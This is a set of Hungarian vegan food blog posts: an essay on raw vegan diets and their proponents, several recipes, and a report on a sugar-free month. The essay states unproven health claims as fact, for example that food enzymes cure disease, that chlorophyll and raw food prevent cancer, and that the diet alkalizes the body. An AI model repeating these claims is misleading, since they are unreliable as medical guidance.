támogathatja az immunrendszert, a szív- és érrendszert, serkentheti a vérkeringést és a májműködést, támogathatja a légzőszervi problémák megoldását, csökkentheti a szürke hályog kialakulásának lehetőségét.
Családi menü tudományos megközelítésben. 2.rész. Nyers, vegán menü
2014. március 18. Éltető ételek
A táplálkozásról, az egészséges táplálkozásról mostanában sok szó esik. Az életmódmagazinok és a média napi szinten bombázzák az embereket egymásnak ellentmondó táplálkozási irányzatokkal, táplálkozási tanácsokkal, amelyekkel egészségesek és karcsúak lehetünk. Ugyanakkor a gyártók milliárdokat keresnek azzal, hogy azokat az élelmiszereket vásároljuk meg, és azokat a gyógyszereket szedjük betegségeinkre, amelyeket ők gyártanak és reklámoznak. A mai rohanó világban már nincs idő ételeink megtermelésére és elkészítésére, az ipar felajánlja erre a megoldást. Vajon mi a helyes út ahhoz, hogy javítsuk egészségünket, és idős korunkat ne gyógyszerfüggőségben, vegetálva éljük? A táplálkozás az emberek többségének csak élvezetet és a szükségletek kielégítését jelenti, de nem fontos számukra az, hogy a táplálék táplálja is a sejteket. Szókratész is ezt mondta: ,,Nem azért élünk, hogy együnk, hanem azért eszünk, hogy éljünk. Hát ez ma már nincs így. A túlevés, a kiegyensúlyozatlan és elégtelen táplálék egészségkárosodáshoz és ún. táplálékfüggő betegségek kialakulásához vezet. Persze az emberek nem látják meg a kapcsolatot a helytelen táplálkozásuk és betegségeik között. Hosszú évekig, évtizedekig tartó helytelen táplálkozás következtében felmerülő betegségekre csak annyit mondanak: ,,korral jár. De ez nincs így jól. Vannak olyan népek, ahol csak természetes ételeket fogyasztanak, és nem ismert náluk a civilizációs betegség. A táplálékok megbetegíthetnek, de meg is gyógyíthatnak minket. Egy kis történelem... Az evolúció évmilliói alatt az emberek vadászó-gyűjtögető életmódot folyattak. Kb. 10 ezer évvel ezelőtt a tűz használata gyökeresen megváltoztatta az emberek étkezési szokásait. A mezőgazdaság meghonosodása révén az emberek egyre jobban elszakadtak a természettől. A demográfiai növekedés szükségessé tette az élelmiszer termelést, az állatok tartását. A megművelt földek köré falvak, városok létesültek. A nagy felfedező utak (pl. Amerika felfedezése) révén megjelentek az első exporttermékek is. Az újvilágból behozott növények a kukorica, krumpli, paradicsom, bab, dohány, kávé, kakaó, nádcukor volt. Ezek után a földeket rabszolgákkal műveltették meg. A XVIII. században az élelmiszer termelés ipari méreteket öltött. Megjelentek az új szereplők az élelmiszergyártás színpadán, pl. a műtrágyák, rovarirtók, tartósítószerek, ízfokozók. Sajnos ezzel az ételeink egyre értéktelenebbé és károsabbá váltak. A jóléti társadalmakban ötvenezerféle étel közül lehet választani, de valósággal vadászni kell az életerőt serkentő, minőségi táplálékokra. Az elmúlt századokban több olyan táplálkozási irányzat jött létre, amelynek a célja az egészség fenntartása és megőrzése. Ezeket az irányzatokat nem lehet egy lapon említeni a különböző kúrákkal, diétákkal. Ugyanis ezek az irányzatok a régi időkből (Keletről vagy az ókorból) származnak, vagy a XIX század végén, XX. század elején Európában fejlődtek ki. Egyre fokozottabb érdeklődés észlelhető ezek iránt, mivel a jelenlegi táplálkozási szokásaink számos betegséggel társulnak. Ezen irányzatok többsége vegetáriánus, és nagy figyelmet szentelnek az élelmiszerek minőségére is. Nyerskoszt mozgalom úttörői A nyers vegán étrend a vegetáriánus étkezés egy vállfaja, mely szinte teljes mértékben vagy akár kizárólag nem hőkezelt növényi élelmiszerekből áll. A XIX. század fő résztvevője dr. Maximilian BIRCHER-BENNER (1867-1939) svájci pszichológus és táplálkozáskutató főként a müzli felfedezéséről ismert, bár az ő találmánya különbözik a ma ismert müzliktől. A Bircher-Benner-féle müzlikbe minden alapanyag frissen kerül bele. Elkötelezett híve volt a zöldségben, gyümölcsben és magvakban gazdag táplálkozásnak, ugyanis észrevette, hogy mentális betegséggel küzdő páciensei is sokkal jobban gyógyulnak, ha az általa összeállított étrend szerint táplálkoznak. Egyébként én is aszalok müzlit, ami kiváló reggeli gyümölcspürével vagy gabonatejjel. Ezt bárki elkészítheti, akár sütőben is, odafigyelve a hőfokra, hogy élő maradjon. A nyers ételeket napfény-ételeknek nevezte, melyeket nem rontottak el melegítéssel vagy kilúgozással. Amikor a csecsemőket sterilizált, forralt tejjel táplálták, sok csecsemő halt meg skorbutban. Rájöttek arra, hogy a kipréselt friss alma, narancs, sárgarépa leve, vagy a friss, forraratlan tej gyógyítja a betegséget. Ez bizonyítja azt, hogy végzetes hiba a csecsemőket kizárólagosan főtt, denaturált anyagokkal táplálni. Ez a nézet akkora felháborodást váltott ki kollegái körében, hogy a zürichi orvosszövetség kizárta soraiból. Ezért kénytelen volt magánklinikát nyitni, ami ma is sikeresen működik Zürichben. Werner KOLLATH professzor, orvos és táplálkozáskutató (1892-1970) nagy hangsúlyt fektetett a minél kisebb mértékben feldolgozott élelmiszerek fogyasztására. Állatokon végzett kutatásaival bizonyította, hogy legelőnyösebben a ,,nyerskoszt hat a szervezetre. Hangsúlyozta az ökogazdaságból származó ételek fontosságát is. Az oldalon is ismert Kolláth reggeli az ő nevéhez fűződik. Guy-Claude BURGER hangsúlyozta az ösztönterápiát , mely során az élelmiszereket fogyasztás előtt szaglással kell megvizsgálni, hogy a szervezet kívánja-e. Az ösztönös elutasítás révén nem érzünk kellemes illatot, sem kellemes ízt. Viszont nem utasítja el a nyers húst, halat, a tenger gyümölcseit és a nyers tojást sem. Hát, az én ösztönöm alapból elutasítja a nyers húst, bár emlékszem arra, hogy gyerekkoromban ettünk nyers tojást cukorral kikeverve. De mindenesetre az biztos, hogy amíg az étel tartalmazza az enzimjeit (akár gyümölcs, akár hús), az a szervezetnek csak jó lehet. A múlt század elején a nyers tejet gyógyításra is használták! BICSÉRDY Béla (1872-1951) fiatal korában szélsőséges életmódot folytatott, mely következtében gyógyíthatatlan betegséget szerzett. 28 éves korában áttért a vegetáriánus nyers kosztra, mellette sokat foglalkozott a testi erőnlét fejlesztésével. Élet és táplálkozásfilozófiájának alapja Mózes 1. könyve, 1.fejezet 29.verse: ,,Aztán azt mondta az Isten: nézzétek, néktek adok minden növényt az egész Földön, amely magot terem és minden fát, amely magot rejtő gyümölcsöt érlel, hogy táplálékotok legyen. A Bicsérdyzmus lényege tisztán gyümölcsevés, a nyers táplálék kizárólagos fogyasztása. Rendszeresen böjtölt, tanításaiban kitért a mozgásra, légzésre, fürdésre, napozásra, pihenésre, meditációra. A mai kor képviselője Victoria BOUTENKO, akinek történetét ajánlom elolvasára mindenkinek. Egy orosz családról szól, akik 1989-ben az USA-ba költöztek. Victoria az amerikai étrendnek köszönhetően 2 év alatt 45 kg-ot hízott, a fia cukorbeteg lett, és a férje sem mondhatta el magáról, hogy egészséges. Szóval egyik napról a másikra áttértek a nyers étkezésre. 11 évig nagyon jól érezték magukat, majd kezdték úgy érezni, mintha valami hiányozna a táplálkozásukból. És ekkor lett figyelmes Victoria a zöld levelekre, amelyek csak kis mennyiségben voltak részei az étkezésüknek. Megfigyelte a csimpánzok táplálkozását, amely során kiderült, hogy azok étrendjének a gerincét a gyümölcsök és a zöld levelek tették ki, és csak kis mennyiségben fogyasztottak magvakat növényszárakat, fakérget és rovarokat. Gourmet nyersevők Fő táplálékuk a klorofillban gazdag zöld levelek, gyümölcsök, zöldségek, csírák, olajos magvak . A nyersevők törekednek arra, hogy a hagyományos ételekhez hasonló ételkompozíciókat készítsenek, amik legalább kinézetben hasonlítanak a megszokott ételekhez. Sok nyersevő azonban a teljes értékű szénhidrátok helyett/mellett sok olajos magokat is fogyaszt (zsírt), amik jelentősen megterhelik a gyomrot. Én nem készítek olyan tortát, aminek a tésztája dió, a krémje kesudió, és a tetején még kókuszolaj is van. Törekszem arra, hogy minél több friss gyümölcsöt tartalmazzon, emiatt a tortáim nem lesznek cukrászdai költemény, de annál egészségesebbek. Mindenesetre ha odafigyelünk az olajos mag bevitelre, akkor nagy baj nem lehet. A gyerekek anélkül esznek meg nagy mennyiségű gyümölcsöt, hogy tudnának róla, és még finom is. 80/10/10 A 811-et dr. Douglas GRAHAM fejlesztette ki, mely egy alacsony olajtartalmú, nyers vegán étrend . A számok a százalékos arányra utalnak, ami dr. Graham szerint az ideális étrendi összetételt jelöli: vagyis 80 százalék egyszerű szénhidrát, 10 százalék fehérje és 10 százalék zsír. A gyakorlatban ez azt jelenti, hogy naponta háromszor ajánlott nyers, édes gyümölcsöket fogyasztani kiegészítve délután egy nagy zöldsalátával, s mindezek mellé még magunkhoz vehetünk némi olajos magvakat is. Az ember képes sokféle táplálékon élni, de a legideálisabb étrend számára a gyümölcs. Az édes gyümölcsök mellett fogyasztják a sokmagvú gyümölcsöket is, amelyeket általában zöldségként eszünk. Ilyen például a paradicsom, uborka, paprika, cukkini, padlizsán. Érdekesség, hogy a gyümölcsök legnagyobb százalékban épp 811-es elosztásban vannak a különböző tápanyagok. Az ösztönterápia is előtérbe kerül, hiszen mit kívánunk jobban? Egy finom érett barackot, netán egy búzaföldön lengedező kalászt vagy egy marhacsordát. Melyik gondolatára fog beindulni a nyáltermelés? Hát nekem a barackra. Minden elfogyasztott táplálékot a maga természetében ajánlja, az aszalás, préselés sem elfogadható, mivel az magas szintre emeli a gyümölcs cukortartalmát. Mivel ezek a gyümölcsök alacsony kalória értékűek, (pl. egy banán 105, fejes saláta 39), így többet kell enni belőlük, ha nem a fogyás a célunk. Ezért egy átlagos nap során (kb. 2000 kalóriával számolva) az étrend: - reggeli: 90 dkg mandarin (481 kcal) - ebéd: 90 dkg banán (807 kcal) - vacsora: papaya-ananász ital - 45 dkg papaya, 25 dkg ananász (286 kcal) ; Papaya-lime leves - 45 dkg papaya, 25 dkg római saláta, 30 ml lime (127 kcal) ; Narancs-kendermag saláta - 45 dkg saláta, 25 dkg narancs, 2 ek. kendermag (259 kcal) Ebből azért látszik, hogy nagy mennyiségű ételt kell megenni ahhoz, hogy elegendő kalóriával lássuk el a szervezetet, és napi min. 50-60 dkg zöld levél elfogyasztása sem semmi! Graham szerint a nyerskosztosok napi kalóriájának 60%-a zsír. A reggeli granolában dió van, a magfasírtban szintén olajos mag, és a desszert is sok esetben tartalmaz magokat. A salátába avokádo kerül, és egy kis ropogtatni való is lenmagot tartalmaz. Így valóban sok a napi zsír mennyiség, még akkor is, ha az természetes eredetű. Valamint ez a sok olajos mag elvonja a helyet a gyümölcsöktől és a zöld levelektől. Nyers növényi étrend előnyei - Tápegész: A növényi ételeket természetes formájukban fogyasztjuk, nem vonunk ki belőlük semmit, és nem is adunk hozzá semmit. - Magas napenergia-érték: A növények zöld festékanyagaik segítségével képesek felvenni a Nap energiáját a napfényből. Így az ember a növény közvetítésével veszi magához a napenergiát. - Enzimbőség: Az enzimeknek 3 osztálya létezik: anyagcsere enzimek a testünket működtetik; emésztőenzimek a táplálékunkat megemésztik és a nyers ételekben található táplálékenzimek, amelyek megkezdik az étel megemésztését. Az anyagcsere enzimek építik be a tápanyagokat a sejtekbe. Az emésztőenzimeket a hasnyálmirigy termeli (proteáz-fehérje, amiláz-szénhidrát, lipáz-zsír). A táplálékban megtalálható enzimek segítik az emésztést, hogy ne kelljen mindent a test emésztőenzimjeinek végezni. Ha a szervezetnek kevesebb emésztőenzimet kell előállítania, több ereje marad a test egészét működtető anyagcsere enzimek megtermelésére. Ezért is tud betegségeket gyógyítani a nyers növényi étrend. Ezek a táplálékenzimek hőre érzékenyek, ezért fontos minél több nyers gyümölcs és zöldség fogyasztása. - Vitaminbőség: Gazdagon tartalmaznak vitaminokat, ásványi anyagokat a szervezet számára hasznosuló formában. - Rostbőség: A jó bélműködés záloga a megfelelő rostbevitel, meggátolja a bélfalon a lerakódásokat, az erjedést-rothadást és a toxinfelszívódást. Jótékonyan hat a cukorbetegségre. Aki bőségesen fogyaszt rostot, nem kell tartania emésztőszervi megbetegedéstől. - Gyulladásgátló, antibiotikus hatás: A növényekben kisebb-nagyobb mennyiségben baktérium-, vírus- és gombaölő anyag van, az ún. fitoncida. Ezek a növény saját védekezését szolgálják a kórokozókkal szemben. A fűszernövények és hagymafélék különösen gazdagok ebben az anyagban: fokhagyma, vöröshagyma, medvehagyma, kakukkfű, levendula, majoranna, rozmaring. Hatásukra megemelkedik a T-lifociták száma, fokozódik az immunitás. - Megfelelő zsír- és koleszterin tartalom: a növényekben túlnyomórészt telítetlen zsírsavak találhatók, kedvezően hatnak a szív- és érrendszerre. - Antikarcinogén hatás: gátolja a rákos elváltozások kialakulását. - Lúgtöbblet: A lúgos közeg biztosítja az egészséges sejtélet számára az optimális körülményeket. Mindenkinek jó ez az étrend? A friss gyümölcs, zöldség, zöld levelek maga az ÉLET! Sajnos ma már mindent túlfinomítunk, túlédesítünk, túlsózunk, túlízesítünk, túlfőzünk. A természet megadja, amire szükségünk van, csak meg kell látni. Kb. 50%-os nyers étrend szerintem mindenkinek a hasznára válhat! A véleményem szerint (a keleti táplálkozási irányzatok szerint is) az ételeknek van hűtő és melegítő hatása. A nyers ételek hűtenek, a főtt/sütőben sült ételek melegítenek. A hiányos, száraz embereknek nagyobb mértékben ajánlott a párolt vagy főtt étel, az édes íz különösen jót tesz nekik, energiát, erőt adnak. Ugyanakkor a robusztus testfelépítésű, többlet- vagy túlmelegedett személyeknek meg szinte kötelező a nyers étkezés, hiszen hűtő, csillapító hatása van. A 811 hívei hangoztatják, hogy több hónapos nyers evés után elmúlik a fázósság. Én viszont annak a híve vagyok, hogy ha az ember figyeli a testének a jelzéseit (pl. fázósság, melegség), akkor nem teszek még egy lapáttal ellene, hanem támogatom a szervezetem igényét, odafigyelek a vérkeringésemre (pl. mozgással), de a nyers ételek arányán, mennyiségén is változtatok. Az nem lehet jó táplálkozás, ha rosszul érezzük magunkat tőle. Persze sok olajos maggal is lehet ellensúlyozni a fázósságot, de szerintem ez nem megoldás. Nyáron alkattól függően nyugodtan lehet akár több hónapos nyers étkezés is, de a hideg beáltával érdemes a testünk jelzéseit figyelni, hogy jól érezzük-e magunkat a későbbiekben is. Tehát nem szabad görcsösen a nyers ételek teljességére törekedni, a tiszta alapanyagokból készült, teljes értékű ételek is lelkiismeretfurdalás nélkül bátran beiktathatók a táplálkozásunkba, ha testünk és lelkünk úgy kívánja. Mit együnk (igyunk) és hogyan készítsük el? Smoothie receptek: gyümölcs-, zöldség- és zöld turmixok Ezek a gyümölcs- és zöldségturmixok egyszerűen elkészíthetők, és nagyon energiadúsak. Akár sporolás előtt és után tökéletes szénhidrát és fehérje pótlást biztosítanak a szervezetnek, akár egy kis kendermaggal vagy chiamaggal turbózva. Nagyon finom a rostos narancsos naspolyalé , a chox shake turmix , sárgarépás mandulás turmix , vagy a karotinbomba. De gyógyító hatású koktélokat is készíthetünk, ilyen például a csonterősítő koktél, vagy a szemvidító és látásjavító turmix. A növényi tejek kitűnő helyettesítői a bocitejnek. Készíthetünk magtejeket (pl. mandula, dió, szezám), vagy gabonatejet (pl. zab, rizs) is. Az utóbbi esetben 1-2 napos csíráztatásra van szükség, utána már csak turmixolni és szűrni kell. A kókusztej nagyon finom alapja lehet a gyümölcsturmixoknak vagy a gyümölcsleveseknek. A zöld turmix maga a csoda ! Ha csak ennyit változtatunk, és ezt beiktatjuk a mindennapjainkba, akkor már nagyon sokat tettünk az egészségünkért. Elmondható róla, hogy ÉLET, ERŐ, EGÉSZSÉG és még finom is. Sajnos az emberek nem tekintenek a zöld levelekre valódi ételként. ,,A várható élettartam ugrásszerűen megnőne, ha a zöld leveleknek olyan jó lenne az illata, mint a szalonnának - mondta Doug Larson. Pedig a répa zöldjében sokkal több tápanyag van, mint a gyökerében. Míg a cékla gumójában 16 mg kalcium van, addig a levelében 117 mg, az A-vitamin tartalma pedig 192-szer több a gumójánál. Ezek a különbségek igazak más zöldségekre és leveleikre is. Azt se felejtsük el, hogy ezek kitűnő fehérje források. Minden zöld színű növény alapja a klorofill, ezért vérképzésre, tisztításra, nemkívánatos mikroorganizmusok növekedésének megakadályozására egyaránt alkalmas. A klorofillt folyékony napenergiának is nevezik. Sejtjeink a klorofilltartalmú ételeknek köszönhetően több oxigénhez jutnak, mivel a klorofill segíti a hemoglobin (a vörös színt adó vérfesték) képződését, így indirekt módon javítja a szervezetben az oxigénszállítást. A klorofillnak hihetetlenül sokrétű hatása van: javítja a vérképet, segít a rák megelőzésében, lúgosítja a szervezetet, tisztítja a beleket, segíti a máj tisztulását, gyorsítja a sebek begyógyulását, gyulladáscsökkentő hatás, javítja a lábak vérkeringését. Az a helyes, ha az étrendünk legalább 10-15%-át klorofillban gazdag nyers növények teszik ki. A zöld levelek minden más étellel párosíthatók, ezért kitűnő zöld turmixot tudunk készíteni belőlük. Ezáltal ízletesebbé tudjuk varázsolni a zöld levelek ízét. Zöld levélhajtások : rukkola, cékla-, répa-, petrezselyem-, zeller-, retek zöldje, spenót, sóska, mángold, káposzta, saláták. Ehető gyomnövények : tyúkhúr, lóhere, gyermekláncfű, disznóparéj, papsajt, útifű, porcsin, csalán, parlagfű, lucerna. Fűszernövények: kapor, bazsalikom, koriander, édeskömény, menta. Változatos reggelik Én minden reggelt egy pohár vízzel kezdek, majd egy csésze gyógyteával folytatom A továbbiakban sokféle lehetőség adódik. Lehet egyszerűen gyümölcsöt enni, vagy készíthetünk egy gyors banánpudingot, vagy egy nyers müzlit. Maga a Kolláth is nyersnek mondható, és könnyűszerrel készíthetünk granolát akár a sütőben is. Ezt ehetjük gyümölcspürével, vagy frissen készített mandulatejjel, zabtejjel. Csírákat is reggelizhetünk, nagyon finom a gyümölcsös nyers hajdinakása és egy kis maggal. Ilyenkor télen egy fahéjas melegítő reggeli vagy egy vegán mandulajoghurt is tökéletes választás lehet. Ebédre valami finomat Ebédre előszeretettel készítek nyers leveseket . Nyáron nagyon menő a vaníliás sárgabarackkrém leves, a cseresznyekrémleves citromfűvel vagy a fahéjas szilvakrémleves is. Sok recept olajos magot is ír az alapanyagok közé, pl. kesudiót. Én ezt többnyire kihagyom belőle, egyszerűen csak összeturmixolom őket, és kész is van. Télen nagyon finom az aszaltszilvakrémleves, a mézes krémes körteleves vagy a karácsonyi mandarinkrémleves. De nem csak gyümölcsökből lehet készíteni levest, hanem például paradicsomból vagy céklából is. A főételt is lehet változatosan készíteni. A cukkinispagetti paradicsomszósszal , a marinált zöldség egy kis zöldségfasírttal vagy egy tökfőzelék is csodás ebéd lehet. Fasírtokat csírából is készíthetünk, melyeket érdemes egy kicsit megaszalni, vagy a sütőbe tenni, hogy a külseje megszáradjon, de még belül puha marad. Késztítettem már nyers ,,lecsót és székelykáposztát is. Ezek csak fantázianevek, azért ne egy az egyben képzeljük el az ízeket, hiszen ezek más alapanyagok, a fűszerekkel próbáljuk elérni az ízhatást. De így is nagyon finomak, akár székelykáposztának nevezzük akár paradiós magyaros savanyú káposztának. Vacsorára egy könnyű saláta Vacsorára egy egyszerű savanyú káposztás céklasaláta sárgarépás krékerrel tökéletesen elegendő. De isteni finom az krémes káposztasaláta , a kelbimbó saláta retekcsírával , vagy akár az almás-diós töksaláta is. De készíthetünk hajdinamártogatóst , egy egyszerű avokadokrémet vagy egy nyers humuszt is csíráztatott csicseriborsóból. Az almás zellersaláta nemcsak finom, hanem méregtelenítő is. Édes élet: könnyen, gyorsan valami nasit Az édességek készítésénél végtelen lehetőségek vannak. Vannak egyszerű receptek, mint például a világ legegyszerűbb csokipudingja , az avokádós csokikrém , a zserbó bon-bon vagy a csokis sütőtök puding . Egy kisebb munkával gyümölcsös rizssaláta mandulatejszínnel vagy egy csokikrémes brownie csillag könnyűszerrel elkészíthető. Millió lehetőségei vannak a pohárkrémeknek, a tortáknak, az elkészítésükben csak a fantázia szab határt. Kicsit időigényesebb a nyers muffin , vagy a praliné elkészítése. Amennyiben van aszalónk, tudunk készíteni palacsintát , zserbó szeletet , vagy zserbó kréker t is. Kedvenceim lettek a PlanetBIO-s termékek . Olyan univerzálisak, hogy bármilyen nyers ételek alapanyagai lehetnek. Reggelire vagy akár vacsorára kitűnő lehet a Jól induljon a nap alap müzli, amit Lucumával és faeperrel turbóztam fel. Ez a családom kedvence lett, a reggeli nagy slágere. Mandulatejjel és friss gyümölcsel valóban délig tartó lendületet ad. Ennek a müzlinek a sportolói változata a superfood müzli , ami tele van jóságos dolgokkal. Van benne többek között maca, acai, kendermag, guarana is. E müzlinek a turmix változata a superfood sportolói turmix , mely banánnal és gojis almalekvárral turbózva igazi energiabomba. Ez az almalekvár szintén univerzális, hiszen felhasználhatjuk pohárkrémekhez, tortákhoz vagy akár a reggeli müzlinkhez is. Ebben a chia mag fontos alapanyag, mely segít a lekvár állag elérésében. Még egy recept, így a végére, melyet érdemes kipróbálni. Ez a nyers zabkása gojival ízesített almalekvárral . Kívánom minden kedves olvasónak, hogy bátran próbálja ki az oldalon található nyers recepteket, és iktassa be a napi étrendjébe. Mint írtam fentebb, a legfontosabbak a smoothie-k, ezen belül a zöld turmixok! Ha csak ennyit változtat, már sokat tett az egészségéért. A többi már csak hab a tortán. Felhasznált irodalom: - BIRCHER-Benner, M.: Az egészség könyve: Gyümölcsételek és nyersfőzelékek a táplálkozás mint természetes gyógytényezői. - [Budapest]: Belső EGÉSZ-ség Kiadó - DAHLKE, Rüdiger: Holisztikus táplálkozás: jól egyen, hogy jól legyen!. - Budapest: Bioenergetic K., 2007 - DOUGLAS, Graham: 80/10/10: egy étrend, ami egyszerre képes egyensúlyt teremteni egészségben, testsúlyában és életében. - Budapest: Management Bt., 2006 - HOWELL, Edward: Ezim táplálkozás: kulcs a fiatalság megőrzéséhez és az élet meghosszabbításához. - Budapest: Mandala Könyvkiadó, 1985 Családi menü 1.rész
Csokis brownie – Karamell öntettel
Már egy ideje tökéletesítem ezt a receptet, amelyet legelőször Angliában kóstoltam, öcsém éttermében a múlt nyáron. Tipikusan az a desszert, amikor megkóstoljuk egy pillanatra “kikapcsolunk” és az ízvilág a mennyországba repít. Nem reform süti ezért megreformáltam, elsőre nem lett tökéletes, de addig sütöttem, amíg”ki nem sütöttem” és olyan nem lett az ízhatás, mint a múlt nyáron!
Hozzávalók: 14-15 db kocka
250 g világos tönkölyliszt
50 g magas kakaótartalmú, bio kakaópor
1 zacskó foszfátmentes sütőpor
100 g nyírfacukor
csipet himalaya só
6 evőkanál olvasztott bio margarin, vagy kókusz olaj
300 ml rizs tej vagy más növényi tej
Öntet:
1 evőkanál kókusz olaj
100 g nádcukor
250 ml kókusz tejszín
késhegynyi bourbon vanília
A süteménynél először a száraz hozzávalókat keverjük össze: liszt, sütőpor, kakaópor, só, majd jöhet a tej, olaj és robotgép segítségével alaposan összekeverjük. Egy szögletes: kb. 20×40-es sütőformát kiolajozunk, majd kilisztezünk, bele öntjük a masszát és előmelegített sütőben 180 C fokon 35-35 percig sütjük. Miután megsült és kihűlt, felkockázzuk és leöntjük az öntettel.
Öntet elkészítése:
1 evőkanálnyi kókusz olajon karamellizálni kezdjük a nádcukrot, miután megváltozott az állaga és homogén lett, hozzáadjuk a kókusz tejszínt és a vaníliát. Tálaláskor ezzel öntjük le a csokis browniet. Tálalhatjuk nyáron vanília fagylalttal is:)! Isteni…
Barna rizsgolyó bazsalikomos kesumártogatóssal
Vacsorára kiváló megoldás, és még gyerekeknek is egész jól bevállalható! Egy dologra figyeljünk a sütésnél: ne süssük sokáig, mert ha túl ropogós, akkor nehéz harapni, és az ízeket sem érezni ki olyan intenzíven! Vendégségbe, svédasztalra is ideális! Barna rizsgolyó bazsalikomos kesumártogatóssal Elkészítési idő: kb. 70 perc a rizs főzési idejével együtt, megfőtt rizzsel kb. 30 perc Hozzávalók (2 főre, kb. 16 db kis golyóhoz): A bazsalikomos rizsgolyókhoz 100 g barna rizs tengeri só 1 lila hagyma, apró kockákra vágva 40 g lecsöpögtetett aszalt paradicsom (nem kénezett, nem tartósítószeres!) - én kihagytam, de nagyon elbírta volna!, finomra aprítva 1 ek. aprított bazsalikom 1 ek. aprított oregánó 2 tk. teljes kiőrlésű liszt őrölt bors 2-3 ek. olaj, vagy kókuszzsír/ olaj A bazsalikomos kesudió-mártogatóshoz 60 g kesudiókrém (akár házilag készítve) 50 ml szénsavmentes ásványvíz 1 ek. aprított bazsalikom tengeri só őrölt bors 1 tk. frissen facsart citromlé A barna rizst enyhén sós vízben a javasolt idő alatt (kb. 40 perc) megfőzzük, majd lecsöpögtetjük egy szűrőben. A rizsgolyó összes hozzávalóját az olajon kívül összekeverjük, és jól összegyúrjuk, szükség esetén 1 ek. vizet adunk még hozzá, és kis golyókat formázunk belőle. Az olajat felforrósítjuk és közepes tűzön a golyókat összesen 8 percig sütjük, hogy minden oldaluk megsüljön. Konyhai papírtörlőre téve lecsöpögtetjük. A kesumártogatóshoz az összes hozzávalót egy tálban összekeverjük, és a rizsgolyókkal együtt tároljuk. Tipp: fogyaszthatod sima szójajoghurtos, bazsalikomos mártással is! Forrás: Attila Hildmann: Vegan for Youth
Növényi sajtos-zöldséges rudacskák
2014. március 12. Mindennapi ételeink
Egyik nap ez volt a vacsoránk. Rendkívül finom, egészséges és laktató fogás. :-) Hozzávalók: 1/2 kg franciasaláta mirelit zöldségkeverék 4-5 rózsa brokkoli 5 ek. durumliszt 1 fej vöröshagyma 3-4 gerezd fokhagyma 2 ek. lenmag, pelyhesítve 10 dkg Violife natúr sajt bio ételízesítő és himalaya só - tetszés szerint -- teljes őrlésű kenyérmorzsa és kókuszzsír a sütéshez Elkészítés: A hagymát meghámozzuk, felaprítjuk és vízen megpároljuk. A zöldségeket egy tálba öntjük és botmixerrel annyira zúzzuk szét, hogy még maradjanak egész szemek is. Hozzáadjuk a megpárolt hagymát, a szétnyomott fokhagymát, a lisztet, a lereszelt növényi sajtot, és a lenmagpelyhet. Sóval ízesítjük. Amennyiben szükséges, még adunk hozzá morzsát, vagy lisztet. Rudacskákat formálunk és kenyérmorzsában történő meghempergetés után kókuszzsírral kikent tepsiben 30 perc alatt (egyszer forgatva) 170 fokon kisütjük. A zöldségeket olívaolajjal kikent tepsiben megpirítjuk, és lenmaggal megszórva tálaljuk.
Vegán pirított rizs minden földi jóval + cukormentes hónap lezárása
2014. március 6. Zizi kalandjai
A héten ez az étel volt a fénypont, vagyis az újdonságok közül a legfinomabb. I. főzött spenótos paradicsomos tésztát és az is a nap fénypontjának számított, csak az nem újdonság, mert ilyet sokszor ettünk és eszünk is. Nagyon szeretem az ázsiai konyhából a pirított rizst, de soha nem csináltam még. Pedig sokszor marad ki főtt rizs és ezt, mint maradékot hasznosíthatjuk sok zöldséggel feldobva és máris királyi a lakománk.
Került a rizsbe sütőtökkrém és egy kis kurkuma, ami sárgára színezte, így úgy nézett ki, mintha tojásos lenne, pedig nem! A kurkumáról az utóbbi időben rengeteg jót olvastam, ezért igyekszem beépíteni a hétköznapjainkba. A friss változat úgy néz ki, mint a gyömbér, csak kicsit vékonyabb és ha meghámozzuk gyönyörű narancssárga színű a belseje. Itthon még soha nem láttam, lehet, hogy nem is kapható, de az őrölt formája szinte minden üzletben elérhető. Erős antioxidáns, emésztés-serkentő, vércukorszint-stabilizáló, gyulladáscsökkentő hatásokkal bír és az ízületeket érintő gyulladásos folyamatokra is hatékony.
Két érdekesség a kurkumáról:
1) Fűszerként alkalmazva felszívódását a fekete bors elősegíti, de ha célunk az, hogy a vastagbélbe jusson, nem kell fekete borssal társítani. 2) Nem javasolt várandósság fennállta esetén, mivel fokozhatja a méh simaizomzatának összehúzódását. Azonban szülés után az ájurvéda a méhösszehúzódás elősegítésére ajánlja.
A cukormentes kihívás negyedik hete viszonylag jól telt, de az utolsó négy-öt napban már vágtam a centit. Kívántam már a sajtot, a csokit és azt, hogy ha megkívánok egy sütit vagy éppen gofrit, akkor ne kelljen visszafognom magam. A tojásnak ugye engedtem, ezt ettem néhány alkalommal a négy hét alatt. Az utolsó napon este hat órakor befejeztük a kihívást, kész, vége, ennyi volt, tovább nem vártunk! Én megittam egy vegán forró csokit, I. pedig egy flat-white-ot és evett egy brownie-t. Minden nagyon édes volt, vagyis annak éreztük, szóval nekem a forró csoki nem is ízlett annyira, mint korábban.
Egy ilyen hónap mindig jó tanulólecke. Az ízek rabjai vagyunk, ez tagadhatatlan. Kemény feladat ellenállni egy ételnek/italnak, ha valamit megvonunk magunktól. Azért vállon veregettük magunkat, hogy milyen ügyesek voltunk, hogy megint végigcsináltuk. Mi mindenképpen bedobunk a közös kasszába egy keveset és ha valaki úgy gondolja, hogy szintén megszegte a felállított szabályait, “bűnözött” és szeretne jótékonykodni, az jelezze nekem emailben és átküldöm a részleteket, hogy hogyan oldjuk meg a Food Not Bombs Budapest támogatását élelmiszerrel. Facebookon és Instagramon is elég sok kép összegyűlt, amelyeket megtaláltok a #februaricukormenteskihivas alatt. Köszönöm mindenkinek, aki időt nem kímélve folyamatosan küldte nekem a képeket emailben, meg eleve köszönöm mindenkinek, aki részt vett a kihívásban! Fantasztikusak vagytok! És akkor már csak egy dolog maradt hátra… JÖVŐRE VELETEK UGYANITT!
Eszter – beszámolója Dublinból
Vegán pirított rizs minden földi jóval
(Recept néhány változtatással: Healthy Happy Life)
Hozzávalók 2 főre:
- 1 és 1/2 csésze főtt barnarizs
- 1 fej vöröshagyma, felaprítva
- 3 gerezd fokhagyma, felaprítva
- 4 evőkanál sült sütőtökpüré (én Ádika adagjából vettem el 4 kanálnyit )
- 1 csomag (300 g) tofu, felesleges víz kipréselve belőle és 1*1 cm-es kockákra vágva
- 1 kis csokor leveleskel, levelek eltávolítva a szárról és apró darabokra tépkedve (kelkáposzta is használható a leveleskel helyett)
- 2 teáskanál kurkuma
- 1/2 teáskanál cayenne bors
- 2 teáskanál juharszirup
- kevés citromlé
- só, bors
- kókuszzsír vagy olívaolaj
